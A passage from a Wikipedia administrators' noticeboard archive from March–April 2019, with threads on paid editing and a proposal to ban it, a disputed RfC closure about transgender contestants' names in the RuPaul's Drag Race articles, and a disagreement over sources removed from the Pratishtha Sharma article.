:*If you're implying that's an example of "bludgeoning", then no. In fact, based on the above, the user presents a perfectly reasonable case. If anyone is unclear on what "bludgeoning" looks like, check out the discussions I collapsed at [[Talk:Origin of the Romanians/Archive 18]]. If you're really a glutton for punishment, keep scrolling past that. Eventually, you may reach the bottom of the page. [[User:Swarm|<span style="color:Green">'''~Swarm~'''</span>]] [[User talk:Swarm|<span style="color:DarkViolet">'''{talk}'''</span>]] 20:14, 18 March 2019 (UTC)
:::Maybe you missed the part of those 572 words where he asserted AN consensus that HuffPo is not a reliable source? That's a misrepresentation at best, and the whole thing is a classic example of throwing shit at the wall to see what sticks. [[Special:Contributions/2600:6C44:E7F:F8D6:8694:953B:9EC1:FBC|2600:6C44:E7F:F8D6:8694:953B:9EC1:FBC]] ([[User talk:2600:6C44:E7F:F8D6:8694:953B:9EC1:FBC|talk]]) 01:40, 19 March 2019 (UTC)
=== Suggestions and proposals related to [[WP:PAID|paid editing]] ===
*We should at least say "paid editors are not to directly edit articles"... Even info boxes maybe problematic as they try to exaggerate the number of employees ect. [[User:Doc James|<span style="color:#0000f1">'''Doc James'''</span>]] ([[User talk:Doc James|talk]] · [[Special:Contributions/Doc James|contribs]] · [[Special:EmailUser/Doc James|email]]) 17:11, 20 March 2019 (UTC)
*This part concerns me:
:{{tq2|Posts calling attention to Sussman’s [[Special:Diff/843020422#Choice of editors to move your draft articles.|lobbying of other editors]] rarely stay up for more than a week. According to his Talk page history, Sussman deletes criticism frequently and any record of it in his user logs often gets buried by his [[Special:Contributions/BC1278|prolific posting and editing]].}}
:Should paid editors be restricted from deleting other editors' comments from their user talk page? Combing through a [https://en.wikipedia.org/w/index.php?title=User_talk:BC1278&action=history history like this] is unnecessarily arduous, and the status quo hinders oversight from other editors by allowing important discussions to be obscured. — '''''[[User:Newslinger|<span style="color:#536267;">Newslinger</span>]]''' <small>[[User talk:Newslinger#top|<span style="color:#708090;">talk</span>]]</small>'' 10:25, 25 March 2019 (UTC)
::I don't see this incident going away anytime soon. A new discussion was started at ANI just today: [[Wikipedia:Administrators'_noticeboard/Incidents#Whitewashing?]]. What I find most offensive to those of us who edit for free, and worse, what may prove damaging to WP in the long term, are sites like [http://whitehatwiki.com/ this one] and the claims they make while marketing their business. I don't know how long volunteers can be expected to keep working for free in order to make an article encyclopedic and compliant with our PAGs knowing it's for the benefit of paid editors. Think about that for a minute. Our own paid editing/COI PAGs lack common sense. So paid editor John Doe gets a nice check for $400+/- (probably a great deal more if worth their salt) to write/protect an article but unpaid editors are actually the ones writing the article for them. How is this not insanity? [[User:Atsme|<span style="text-shadow:#F8F8FF 0.2em 0.2em 0.4em,#F4BBFF -0.2em -0.3em 0.6em,#BFFF00 0.8em 0.8em 0.6em;color:#A2006D"><sup>Atsme</sup></span>]] <sub>[[User talk:Atsme|<small>Talk</small>]]</sub> [[Special:EmailUser/Atsme|📧]] 00:49, 27 March 2019 (UTC)
:::It's insane that Wikipedia's rules are that you cannot be paid to edit an article, you can only be paid to get unpaid volunteers to edit the article for you. [[User:Levivich|Leviv]] <span style="display:inline-block;transform:rotate(45deg);position:relative;bottom:-.57em;">[[User talk:Levivich|ich]]</span> 02:10, 27 March 2019 (UTC)
::::I highly agree with [[User:Atsme]] and [[User:Levivich]]. Why should volunteers edit an article for someone getting paid wads, while us volunteers get paid nothing at all? While I understand that we've opted to keep ''some'' COI editing aboveboard instead of outlawing it and just driving paid editing underground, paid editing is still highly problematic. [[User:CaptainEek|<span style="color:#6a1f7f">'''Captain Eek'''</span>]] <sup>[[User talk:CaptainEek|<span style="font-size:82%"><span style="color:#a479e5">''Edits Ho Cap'n!''</span></span>]]</sup>[[Special:Contributions/CaptainEek|⚓]] 03:55, 27 March 2019 (UTC)
:::::I don't begrudge the way any person makes an honest living, and if a paid editor is complying with policy, they're doing nothing wrong in my book. The policies are kafkaesque, but that's the inevitable result of trying to police editors instead of edits. <span style="display:inline-block;position:relative;white-space:nowrap;">[[User:Levivich|Leviv]] <span style="transform:rotate(45deg);bottom:-.57em;">[[User Talk:Levivich|ich]]</span></span> 04:39, 27 March 2019 (UTC)
::::::Nor do I, Levivich, but it's wrong to do it at the expense of volunteers who are committed to building a free knowledge-based encyclopedia. The marketing material of companies like [http://whitehatwiki.com/ White Hat Wiki] is an insult to everything WP represents. Phrases like ''"We Bullet-Proof Your Wikipedia Presence"'', and ''"Wikipedia is a byzantine labyrinth of policies, guidelines and internal politics"'' are far from flattering to the project and its volunteers. Paid editing changes the landscape and the very definition of ''knowledge-based encyclopedia'' and converts it to a ''Whose Who in business''. Catch phrases like {{xt|"We use sophisticated strategies and our knowledge of the complex rules to get results}} is an insult - "get results"?? And what results might that be? When a company is notable enough to be included in WP, a volunteer (typically patrons or fans) will eventually write the article. To do otherwise weakens the very foundation WP is built on. I can't help but wonder how much money paid editing actually diverts away from {{u|Jimbo Wales|Jimbo's}} fund drives and the much needed contributions that keep this project alive. Why should companies contribute to WMF when they're paying an independent company to write/oversee their articles? I truly believe this is something WMF needs to carefully reconsider, but I'm only one voice. Perhaps the time has come for WMF to pay its own select group of qualified editors to work exclusively on business/corporate articles, and keep that money going to the project instead of independent companies, unless the goal is to grow, support and protect the cottage industries that are sprouting up around us. I shudder to think all the time and energy that is being devoted to COI by editors like {{u|Doc James}} and the volunteers he's worked with is for naught, or worse, driving COI editors to become/work with independent companies at the expense of other WP volunteers. [[User:Atsme|<span style="text-shadow:#F8F8FF 0.2em 0.2em 0.4em,#F4BBFF -0.2em -0.3em 0.6em,#BFFF00 0.8em 0.8em 0.6em;color:#A2006D"><sup>Atsme</sup></span>]] <sub>[[User talk:Atsme|<small>Talk</small>]]</sub> [[Special:EmailUser/Atsme|📧]] 12:03, 27 March 2019 (UTC)
*This "Should paid editors be restricted from deleting other editors' comments from their user talk page?" by [[User:Newslinger]] is an excellent suggestion. They can use automated archiving but Talk pages are here to improve Wikipedia so they do not belong to any single editor. [[User:Doc James|<span style="color:#0000f1">'''Doc James'''</span>]] ([[User talk:Doc James|talk]] · [[Special:Contributions/Doc James|contribs]] · [[Special:EmailUser/Doc James|email]]) 12:14, 27 March 2019 (UTC)
If I were making the rules here, I'd require all new corporate articles to be moved immediately to draft space and EC-protect the creation of each title in main space, forcing each new corporate article to go through review. If the paid editor has to wait for it, that isn't our problem. If disclosed paid editors complain, that also isn't our problem. I would also EC-protect any approved/established corporate article in main space, to force the PR folks to request changes on the talk page. These rule changes wouldn't have any effect on long-term paid editors with a long contribution history, but this would likely eliminate a lot of the undisclosed paid crap. I mean, we have these tools already, let's stop whining about the situation and use them. ~[[User:Anachronist|Anachronist]] <small>([[User talk:Anachronist|talk]])</small> 04:40, 28 March 2019 (UTC)
*How come this guy hasn't been blocked indef? It is most detestable and ''infuriating'' to have the fruits of our volunteer labor ripped by these paid editors walking away with swathes of cash. Another second that these parasites are accomodated here is an insult to us all. Concur with talk page post removal restrictions at the very least. [[User:Tsumikiria|<span style="font-family:'Lato',sans-serif;color:Crimson;text-shadow:2px 2px 12px HotPink;">Tsumikiria''⧸''<small> </small></span>]][[User talk:Tsumikiria|🌹]][[Special:Contributions/Tsumikiria|🌉]] 19:49, 28 March 2019 (UTC)
*: Because he hasn't broken any policies? We cannot and will not simply block someone because you don't like what they do. This was not a ban discussion, by the way; it's a discussion about a HuffPo article. [[User:Jo-Jo Eumerus|Jo-Jo Eumerus]] ([[User talk:Jo-Jo Eumerus|talk]], [[Special:CentralAuth/Jo-Jo Eumerus|contributions]]) 20:20, 28 March 2019 (UTC)
*::Is that actually true? I'm aware of [[Wikipedia:Paid-contribution disclosure]], but [[WP:NPOV]] and [[WP:TENDENTIOUS]] still apply. It seems to me that paid editors are in constant danger of falling afoul of those policies, since if their services go even a hair beyond "generally improve Wikipedia on this topic", they are not here to make neutral edits or simply to build an encyclopedia - they are here to represent the POV they've been paid to represent. As far as I'm aware, the tension between what [[Wikipedia:Paid-contribution disclosure]] allows and what [[WP:NPOV]] and [[WP:TENDENTIOUS]] disallow has never been properly resolved. But [[WP:NPOV]] and [[WP:TENDENTIOUS]] are absolutely policies; a paid editor is subject to them just as thoroughly as anyone else. I feel this article makes a reasonable argument for tendentious editing in particular. If what an editor is ''doing'' is [[WP:POV]] or [[WP:TENDENTIOUS]] editing, then clearly it's a concern (and I feel that some editors have allowed "paid editing is allowed, under certain circumstances" to blind them to that fact.) EDIT: On reflection, I think that most paid editing is also a violation of [[WP:NOTHERE]], especially the point forbidding editors from edits that are {{tq|trying to score brownie points outside of Wikipedia}}. An editor trying to maintain the favor of their employer is the purest representation of that sort of [[WP:NOTHERE]] behavior imaginable. --[[User:Aquillion|Aquillion]] ([[User talk:Aquillion|talk]]) 01:31, 5 April 2019 (UTC)
*:Unfortunately, most people interpret [[Wikipedia:Paid-contribution disclosure]] as allowing paid editing; at least, it has never been formally banned (though I think many parts of [[WP:NPOV]], [[WP:TENDENTIOUS]], and [[WP:NOTHERE]] make it dubious in most practical cases, including this one.) Either way, I feel that a lot of people underestimate the harm that that does to the project, but that's how things are at the moment. If you want to help, one thing to do is to start pushing more firmly for an unambiguous ban on paid editing; but absent that, you can also spend time reviewing past work by paid editors and challenging things that seem questionable. It might also be worth considering a Wikiproject devoted to reviewing suggestions by paid editors with a critical eye and generally weighing in on related discussions in order to provide a counterbalance to the amount of time and effort that a paid editor can devote to pushing the particular POV they've been paid to represent. --[[User:Aquillion|Aquillion]] ([[User talk:Aquillion|talk]]) 01:31, 5 April 2019 (UTC)
*Random thought bubbles - would general sanctions work for some subset of articles prone to paid editing (say the highest risk topics: advertising, marketing and public relations or leveraged financial products targeted at retail investors)? Can we repurpose existing DS regimes to the same effect ([[WP:ARBIPA]], [[WP:ARBCAM]] in particular)? The quality of cryptocurrency articles has improved since [[WP:GS/Crypto]] was put into place, but sometimes I feel tired keeping up with the influx of SPAs. [[User:MER-C|MER-C]] 21:39, 29 March 2019 (UTC)
*:{{u|MER-C}} I agree that Crypto has improved since GS. However, I don't know that advertising, marketing, and public relations are the topics most likely to have UPE and so I don't know that we could define this in a way that would make GS possible in this area given the broad scope of topics which potentially have UPE as it encompasses biographies, companies, and products. Best, [[User:Barkeep49|Barkeep49]] ([[User_talk:Barkeep49|talk]]) 04:59, 31 March 2019 (UTC)
*::Advertising is high risk because that's what spammers do. If they get the idea that we tolerate them creating articles about themselves and their companies, then it is not a stretch that they think we tolerate them creating articles about their clients. I also forgot we have [[WP:NEWBLPBAN]] for biographies. [[User:MER-C|MER-C]] 09:29, 31 March 2019 (UTC)
*It looks like BC1278 removed the notice of this discussion and the notice of the prior conflict of interest noticeboard discussion (archived at {{slink|Wikipedia:Conflict of interest/Noticeboard/Archive 141|Jytdog's efforts against paid editing covered in Media}}) from their [[User talk:BC1278|user talk page]] on March 29. You can see the removal at [[Special:Diff/890053760]].
:Since there has been some interest in the suggestion to restrict paid editors from deleting other editors' comments from their user talk page, I think an RfC to include new guidance at {{slink|Wikipedia:User pages|Removal of comments, notices, and warnings}} ([[WP:BLANKING]]) may be warranted. For the RfC, the proposed addition could be a new bullet point at [[WP:BLANKING]] that states the following {{tq|"important matter"}} may not be removed by the user:
:{{tq2|For editors making [[WP:PAID|paid contributions]], any comments and templates (from other editors) related to their edits on a topic in which they have a [[WP:COI|conflict of interest]]. Examples include deletion notices, [[WP:AFC|Articles for Creation]] notices, noticeboard discussion notices, and comments on the editor's paid contributions.}}
:Alternatively, here's a stricter option:
:{{tq2|For editors making [[WP:PAID|paid contributions]], any comments and templates from other editors, with the exception of obvious [[WP:VD|vandalism]].}}
:Would this be helpful, and can this be improved? I'd like to hear your thoughts and suggestions. — '''''[[User:Newslinger|<span style="color:#536267;">Newslinger</span>]]''' <small>[[User talk:Newslinger#top|<span style="color:#708090;">talk</span>]]</small>'' 06:58, 2 April 2019 (UTC)
::I don't think this would help with anything. Feels like we are hunting for solutions to non-existent problems, here. [[User:Jo-Jo Eumerus|Jo-Jo Eumerus]] ([[User talk:Jo-Jo Eumerus|talk]], [[Special:CentralAuth/Jo-Jo Eumerus|contributions]]) 16:37, 2 April 2019 (UTC)
::Agenda editors, who use Wikipedia to smear the subjects of articles (this happens all the time, including from competitors, oppo research firms, disgruntled former employees and foreign governments - it's just not something Wikipedia can easily identity), also like to use User Talk pages to discredit those opposing them. So do overly zealous editors who use User Talk to attack paid editors or their positions, instead of confining their discussions to Article Talk or noticeboards. Two contributors to my User Talk now have indefinite blocks. One of these two verbally attacked me both on User Talk and offline. The HuffPo article's allegations have been discredited. I consider the allegations potentially libelous. Talk served its primary purpose by notifying me of the ongoing discussions. Why should I offer further credence to a discredited article by linking to discussions about it from my own User Talk? [[User:BC1278|BC1278]] ([[User talk:BC1278|talk]]) 16:30, 2 April 2019 (UTC)
::: what I read in the Huffpost article was that there is a paid editor who knows the system of Wikipedia and its rules very well, and sometimes causes disruption in the pursuance of their business goals. What I see here is:
:::*this large ANI thread,
:::*a huge wall of text at the [[Talk:Caryn_Marooney|Caryn Marooney talk page]], and
:::*a new [[Wikipedia:Reliable_sources/Noticeboard#HuffPost_for_paid_editing_at_Axios_(website),_NBC_News,_Caryn_Marooney,_and_other_articles|thread over at Reliable Sources Noticeboard]].
:::That's a lot of gaslighting as far as I am concerned, and to me it confirms the techniques claimed in the HuffPo article. So the HuffPo article is by no means discredited-- unless you also think that the border wall is getting built too.[[User:ThatMontrealIP|ThatMontrealIP]] ([[User talk:ThatMontrealIP|talk]]) 23:53, 2 April 2019 (UTC)
:::: Do you know what the word gaslighting means or did you just use it as a synonym for "thing I don't like"? [[Special:Contributions/199.247.43.170|199.247.43.170]] ([[User talk:199.247.43.170|talk]]) 08:49, 3 April 2019 (UTC)
::If the community has reached a point where we no longer want paid editing of any kind and are willing to tolerate the drawbacks of making all paid editing UPE then let's do that. However, I don't think we should be imposing new restrictions of this sweep on declared paid editors. Frankly I would rather come up with some better incentives to motivate people to declare their paid editing. However, I haven't figured out what those incentives might be and acknowledge that what's good for the project might be to just ban all paid editing (though I'm personally not quite there yet). But I am confident that the "middle ground" isn't to stigmatize people following the rules further in ways we don't other editors especially those with strong but unpaid COI. Best, [[User:Barkeep49|Barkeep49]] ([[User_talk:Barkeep49|talk]]) 20:47, 2 April 2019 (UTC)
:*I think that this would at least be an improvement. If we're going to allow paid editing at all, it's important to allow editors to know when they're interacting with a paid editor, and to know the general scope and history of that paid editing (ie. understanding that the editor they're trying to convince is unlikely to change their mind on a topic because their paycheck depends on maintaining a particular point of view.) Other notices exist, but preserving talk page discussions would be useful for this purpose. It would also make it harder for a paid editor to conceal a history of [[WP:POV]] or [[WP:TENDENTIOUS]] editing, which is something they're obviously at a higher risk for. Regarding some of the concerns above about other sources of POV existing, or about whether declared paid editors may simply choose to violate the rules and edit covertly if we make things too burdensome for them - this is clearly a risk, but I feel that declared paid editing poses a particular problem for the project's reputation. An editor with a personal POV can still be reasonably convinced; an editor who is being paid to push a particular POV or to make particular edits realistically cannot (at best, they can be convinced that their edits are unlikely to stick, and even then they have incentives to maintain pressure long past the point where anyone else would have compromised or gone elsewhere.) For these reasons, it's important to be harsher with them and to generally make every effort to ensure, as much as possible, that they're refraining from tendentious editing, and to make it harder for them to conceal it if it exists. --[[User:Aquillion|Aquillion]] ([[User talk:Aquillion|talk]]) 01:47, 5 April 2019 (UTC)
*This DPE is wasting a lot of community time (cf the list of discussions two comments up), and as far as I can see it is all in pursuance of improving his business. The current model wherein a group of volunteers fulfills the desires of paid editor is, well, fundamentally flawed. I'm certainly not here to do corporate volunteer service. Additionally, I can't see how the quality of the encyclopedia is going to be that much poorer if paid editing is blocked on all counts (with an exception for Wikipedians in residence). For one, with a no paid editing policy, we will know that the primary intention of all editors is to edit with a neutral view and without COI. And in turn, we will know that the encyclopedia is primarily constructed on a non-commercial basis. Just a thought.[[User:ThatMontrealIP|ThatMontrealIP]] ([[User talk:ThatMontrealIP|talk]]) 00:12, 3 April 2019 (UTC)
**Well, we wouldn't know ''for certain'', but I broadly agree. I feel like some of the people depending paid editing above don't realize how bad this looks from an external perspective (especially the somewhat befuddling argument that this breaks no rules - I think the article is clear on that; the point is that the fact that it breaks no rules makes the ''entire encyclopedia'' look bad.) It is probably true, as some people have worried, that if we banned all paid editing, people would just do it undisclosed. But I feel that the harm to Wikipedia's reputation from intentionally allowing such paid editing is worse than the damage we'd suffer from people doing it subtly, especially since at the end of the day really controversial stuff goes through talk pages anyway and often comes down to things like knowing the rules and sheer stamina to carry on a protracted dispute - not stuff that our restrictions on paid editing actually do anything to mitigate. Maybe a decade ago, when someone could have swept in and quietly rewritten a medium-profile article with nobody noticing, the danger of undisclosed paid editing was higher and just keeping paid editors off of article-space was helpful. But right now I don't feel it's helping at all. --[[User:Aquillion|Aquillion]] ([[User talk:Aquillion|talk]]) 01:03, 5 April 2019 (UTC)
=== Prohibition on all paid editing ===
The comments above show some interest in prohibiting all paid editing (declared or undeclared), with the exception of edits from [[:meta:Wikipedian in Residence|Wikipedians in Residence]] (WiR). The procedure to enact this is described in {{slink|WP:PAID|Changing this policy}}:
{{tq2|An alternative policy can revoke the disclosure provision of the terms of use as it applies to the English Wikipedia and replace it with a new policy, which may be stronger or weaker. A proposed alternative policy must be clearly identified in a Request for Comment (RfC) as revoking the WMF policy. Upon approval, the new policy must be listed on the [[:m:Alternative paid contribution disclosure policies|alternative-disclosure policy page]]. The RfC must be conducted in a manner consistent with the [[WP:PROPOSAL|standard consensus-based process for establishing core policies]].}}
[[Special:Permalink/529481448|A former disambiguation page for Wikipedia:Paid editing]] lists three failed proposals for paid editing policies and guidelines from 2007 to 2011. Our current policy, [[Wikipedia:Paid-contribution disclosure]], was created in 2015 for consistency with the [[:foundation:Special:Diff/98138|prohibition of undisclosed paid editing in the WMF's terms of use]] in 2014. I found only one previous RfC on paid editing ([[Wikipedia:Requests for comment/Paid editing]]), which took place in 2009 and resulted in no consensus. It has been almost 10 years since that RfC, and many editors have accumulated enough experience dealing with disclosed paid edits to determine whether they are a net positive/negative to Wikipedia.
I think it's time to re-evaluate community consensus on whether disclosed paid contributions (excluding [[:meta:Wikipedian in Residence|WiR]]) should continue to be allowed in Wikipedia. What are your thoughts on this? — '''''[[User:Newslinger|<span style="color:#536267;">Newslinger</span>]]''' <small>[[User talk:Newslinger#top|<span style="color:#708090;">talk</span>]]</small>'' 23:25, 6 April 2019 (UTC)
* Note the lack of consensus at [[Wikipedia talk:Deletion policy#Undeclared Paid Editor (UPE) product]] that being solely UPE product is even a reason for deletion.
: Also, oppose exclusion of Wikipedian in Residence. Why should Wikipedians in Residence not declare? —[[User:SmokeyJoe|SmokeyJoe]] ([[User talk:SmokeyJoe|talk]]) 23:54, 6 April 2019 (UTC)
::To clarify, the proposal continues to allow declared edits from Wikipedians in Residence (i.e. WiR would not be affected by the prohibition). WiR would continue to declare their status. — '''''[[User:Newslinger|<span style="color:#536267;">Newslinger</span>]]''' <small>[[User talk:Newslinger#top|<span style="color:#708090;">talk</span>]]</small>'' 00:10, 7 April 2019 (UTC)
::: I think all paid contributions should be prohibited unless declared. Includes WiR, includes WMF. Simple, no exceptions. I think all COI contributions to mainspace should be prohibited, they must use the talk page, or AfC for new pages. However, undeclared UPE and undeclared COI can only be “suspected”. So how can this prohibition have teeth? —[[User:SmokeyJoe|SmokeyJoe]] ([[User talk:SmokeyJoe|talk]]) 00:37, 7 April 2019 (UTC)
:::: Undisclosed paid contributions are already prohibited in [[WP:PAID]] and the [[:foundation:Terms of Use|Terms of Use]]. Despite our current policies, Wikipedia already deals with undisclosed paid editing on an ongoing basis, and this activity is discussed and handled on the [[WP:COIN|conflict of interest noticeboard]]. — '''''[[User:Newslinger|<span style="color:#536267;">Newslinger</span>]]''' <small>[[User talk:Newslinger#top|<span style="color:#708090;">talk</span>]]</small>'' 00:58, 7 April 2019 (UTC)
* Disclosed paid contributions? Do we have evidence that honestly declared paid editors have produced such bad product that “prohibition” is required? I think it is an overreaction as likely to succeed as was US Prohibition of alcohol. —[[User:SmokeyJoe|SmokeyJoe]] ([[User talk:SmokeyJoe|talk]]) 00:40, 7 April 2019 (UTC)
**Yes, without a doubt. Just peruse the archives at COIN. [[User:John from Idegon|John from Idegon]] ([[User talk:John from Idegon|talk]]) 02:38, 7 April 2019 (UTC)
*: Condoning paid contributions (even if disclosed) reflects poorly on Wikipedia's credibility, as it tells readers that Wikipedia's [[WP:NPOV|neutrality]] is up for sale. There is no financial incentive for a company to hire paid editors to make neutral contributions. In fact, it would be irrational (and in [[Public company|publicly traded companies]], a violation of [[fiduciary duty]] to shareholders) for a company to hire paid editors, and then instruct them to not portray the company in as favorable of a light as possible. The interests of most companies are not aligned with Wikipedia's goals to provide readers with neutral, trustworthy content. — '''''[[User:Newslinger|<span style="color:#536267;">Newslinger</span>]]''' <small>[[User talk:Newslinger#top|<span style="color:#708090;">talk</span>]]</small>'' 01:19, 7 April 2019 (UTC)
::
== RfC Closure Review (Talk:RuPaul's Drag Race) ==
I am requesting a review of the closing of [[Talk:RuPaul%27s Drag Race#RfC on names of transgender contestants]] on the grounds that it is not a reasonable summation of the discussion. My attempt to discuss this with the closer can be found [https://en.wikipedia.org/w/index.php?title=User_talk:QEDK&oldid=889055058#Improper_close here]. The RfC takes a look at how the wiki should handle using a transgendered individual's name and is an extention of [[Talk:RuPaul%27s_Drag_Race_(season_2)#RfC|this RfC]]. The close is almost incoherent and makes little sense when you actually read the discussion and take in the view points of those that participated. The last sentence alone makes no sense and is not a representation of the points made in the discussion. The two prevailing viewpoints are 1) to remove ''all'' real names from the articles as they are not included in the credits of the show and are essentially pulled from other sources and 2) to only list the current names of individuals and not the name they used at the time of filming. Most of those supported using their current name supported the idea of removing all the names entirely. Removing real names was not included in the original wording of the RfC but is clearly meant to remove all names from the articles. Removing only the names of transgendered individuals is inappropriate and makes no sense. I request that the community review, revert, and reclose this discussion to represent the consensus that is clearly there. Thanks. [[User:Nihlus|<span style="padding:2px 2px;font-variant:small-caps;color:#000;letter-spacing:-0.5px">'''Nihlus'''</span>]] 04:28, 25 March 2019 (UTC)
*I happened upon this shortly after closing and so I read the close and then the RfC and was also puzzled by it also not fully understanding what point {{u|QEDK}} was trying to make with [[MOS:GENDERID]] (which is obviously relevant here). I agree with {{u|Nihlus}} that the consensus, as I see it, is to remove real name from the seasons entirely and to only include their stage names (e.g. how they were referred to on the show). Best, [[User:Barkeep49|Barkeep49]] ([[User_talk:Barkeep49|talk]]) 17:00, 25 March 2019 (UTC)
*I don't read this closure as ''prohibiting'' the removal of all non-credited names from the articles in question. I think the closer intended on answering the original RFC question, which related to trans contestants who transitioned after their TV appearance. [[User:Iffy|Iffy]]★[[User Talk:Iffy|Chat]] -- 09:17, 26 March 2019 (UTC)
*:I tried to clarify this with the closer and got no where. The consensus that is reached need not necessarily be a direct response or even a level response to the question asked. [[User:Nihlus|<span style="padding:2px 2px;font-variant:small-caps;color:#000;letter-spacing:-0.5px">'''Nihlus'''</span>]] 10:34, 26 March 2019 (UTC)
*I would like more participation in this topic before I revert the close myself based on what is here. Thanks. [[User:Nihlus|<span style="padding:2px 2px;font-variant:small-caps;color:#000;letter-spacing:-0.5px">'''Nihlus'''</span>]] 02:48, 30 March 2019 (UTC)
* (Uninvolved, did not know about the RfC till now): I don't know where to post this, but I agree with Nihlus both on his !vote and its rationale, and his points here in this thread. Plus it's confusing (for the reader) for a WP article on a TV show not to use credited names. [[User:Softlavender|Softlavender]] ([[User talk:Softlavender|talk]]) 03:38, 30 March 2019 (UTC)
*{{u|QEDK}}, I will be altering your close based on the information in this discussion. If you would like to alter it yourself, feel free to do so. [[User:Nihlus|<span style="padding:2px 2px;font-variant:small-caps;color:#000;letter-spacing:-0.5px">'''Nihlus'''</span>]] 22:21, 4 April 2019 (UTC)
:: {{re|Nihlus}} Remove my close (not alter) and do as you see fit. --<span style="font-family:'Trebuchet MS',Geneva,sans-serif">[[User:QEDK|<span style="color:#b7e">QEDK</span>]] ([[User talk:QEDK|<span style="color:#fac">後</span>]] ☕ [[Special:Contributions/QEDK|<span style="color:#fac">桜</span>]])</span> 15:04, 5 April 2019 (UTC)
:::{{u|QEDK}}, I wasn't asking whether I can alter it. I will alter it/add an addendum that clarifies the close and corrects it to the right consensus. [[User:Nihlus|<span style="padding:2px 2px;font-variant:small-caps;color:#000;letter-spacing:-0.5px">'''Nihlus'''</span>]] 22:35, 5 April 2019 (UTC)
::::{{re|Nihlus}} I don't think you're understanding how it works. You can't alter my close, because then it's not my close anymore. Feel free to add an addendum but an addendum that contradicts my close is against the point. If you're challenging a close, it's for a reversal. And I'm telling you to do as you see fit, as long as you reverse my close first. --<span style="font-family:'Trebuchet MS',Geneva,sans-serif">[[User:QEDK|<span style="color:#b7e">QEDK</span>]] ([[User talk:QEDK|<span style="color:#fac">後</span>]] ☕ [[Special:Contributions/QEDK|<span style="color:#fac">桜</span>]])</span> 06:54, 6 April 2019 (UTC)
:::::{{u|QEDK}}, again, I was not asking. [[User:Nihlus|<span style="padding:2px 2px;font-variant:small-caps;color:#000;letter-spacing:-0.5px">'''Nihlus'''</span>]] 13:21, 6 April 2019 (UTC)
::::::{{re|Nihlus}} For someone who doesn't understand how reverting a close works and goes for a reversal on minimal consensus, you seem hell-bent on '''not asking''' or whatever that is supposed to mean. Again, I'm not really doing anything here but telling you that if you intend to alter my close, you '''have''' to reverse the close. Please do not ping me again if your intent is to voice your redundant battleground-y point. --<span style="font-family:'Trebuchet MS',Geneva,sans-serif">[[User:QEDK|<span style="color:#b7e">QEDK</span>]] ([[User talk:QEDK|<span style="color:#fac">後</span>]] ☕ [[Special:Contributions/QEDK|<span style="color:#fac">桜</span>]])</span> 14:00, 6 April 2019 (UTC)
:::::::{{u|QEDK}}, do not tell me what I do or don't know. I've been dealing with this mess for long enough due to your poorly thought out and at this point disruptive close. I will fix this situation in the manner I see fit as it falls into policy. As I stated before, I was not asking for your input on how I should proceed. I don't need that information from you nor do I want it. I was merely advising you to alter your close if you saw fit as a courtesy to you. Since you are not taking it, then I will proceed as I originally intended. Thanks. [[User:Nihlus|<span style="padding:2px 2px;font-variant:small-caps;color:#000;letter-spacing:-0.5px">'''Nihlus'''</span>]] 14:32, 6 April 2019 (UTC)
::::::::{{re|Nihlus}} Do me a favour and respect someone's choice when an editor asks you to not ping them. I do not care about your pointless accusations ({{tq|disruptive close}}), I've asked you to do literally what you want and you refuse to let me be. I am not willing to waste my time on your shenanigans, so I recommend you drop the stick. --<span style="font-family:'Trebuchet MS',Geneva,sans-serif">[[User:QEDK|<span style="color:#b7e">QEDK</span>]] ([[User talk:QEDK|<span style="color:#fac">後</span>]] ☕ [[Special:Contributions/QEDK|<span style="color:#fac">桜</span>]])</span> 14:39, 6 April 2019 (UTC)
:::::::::My accusation is not pointless, and I have no stick to drop. No one if forcing you to comment here, yet you keep doing it and ''whine'' when I reply. There is no policy in forcing someone to not ping someone as communication is important on a platform such as this. Additionally, pinging me in every reply while asking me to stop is rather odd, as is throwing a subjective condition on your request for me to not ping you. I suggest you just stop contributing to this discussion if you are truly done with it as that is the route I am taking. [[User:Nihlus|<span style="padding:2px 2px;font-variant:small-caps;color:#000;letter-spacing:-0.5px">'''Nihlus'''</span>]] 14:48, 6 April 2019 (UTC)
== Regarding massive editing on page [[Pratishtha Sharma]] ==
hi
more than 100 links of sources were deleted of the above article with out any discussion. editor have a view that sources are not of news papers like new york times. contributor has a view point that sources were of Indian popular newspapers as the personality is from India. government sources links were also included under the deleted one. contributor suggested to undo cahnges and a discussion can be done on source before deletion but editor is not ready to repose the same and adamant to his edit. he also quoted a six year old notification which was rectified with out opposition at the time only inside the article. kindly suggest what to do now.[[User:Rusianejohn|Rusianejohn]] ([[User talk:Rusianejohn|talk]]) 13:47, 30 March 2019 (UTC)
: I deleted a mass of very weak links provided to support claims for this article. A search on Google reveals few if any reliable sources; many of those deleted were on YouTube. Far from refusing to discuss, I have repeatedly asked Rusianejohn to join the discussion and provide sources, which have not been forthcoming. Today at last Rusianejohn made some preliminary remarks but apart from asking for the weak sources to be reinstated, has provided no evidence of notability. I'm all ears for better sources. [[User:Chiswick Chap|Chiswick Chap]] ([[User talk:Chiswick Chap|talk]]) 15:48, 30 March 2019 (UTC)
:: Today only i have checked such mass deletion and i am making a list of new links and important from deleted links supporting the heads. article was not at all based on the you tube links and the remaining 27 links out of 144 is sufficient to support lines but still i will write more links and send to you. you tube links were mostly of episode of regular tv shows on national and international tv channels which supports title- Tv celebrity. most of the big channels has there own you tube channel and they put past episodes on those channel. few put them on there websites. i will mention those links as well. Remaining links deleted by you need to be verify before deletion. i will put them here with new links as well. my only humble request and objection is if we don't understand a language and don't know about one particular source or have confusion, than at least we can talk. talk page is for that only. we can always discuss before execution for old and established articles. this we do at wiki.[[User:Rusianejohn|Rusianejohn]] ([[User talk:Rusianejohn|talk]]) 16:39, 30 March 2019 (UTC)
::: I'm very glad you have started on that. I have been through the sources in the article that I can access: nearly all are dead links or otherwise unusable. I have added quotations to two that are good and usable, but unfortunately those are much too brief to demonstrate notability. If you can find some Hindi sources and translate those we should easily find out whether Sharma is notable, but that isn't a matter for this noticeboard. [[User:Chiswick Chap|Chiswick Chap]] ([[User talk:Chiswick Chap|talk]]) 16:48, 30 March 2019 (UTC)
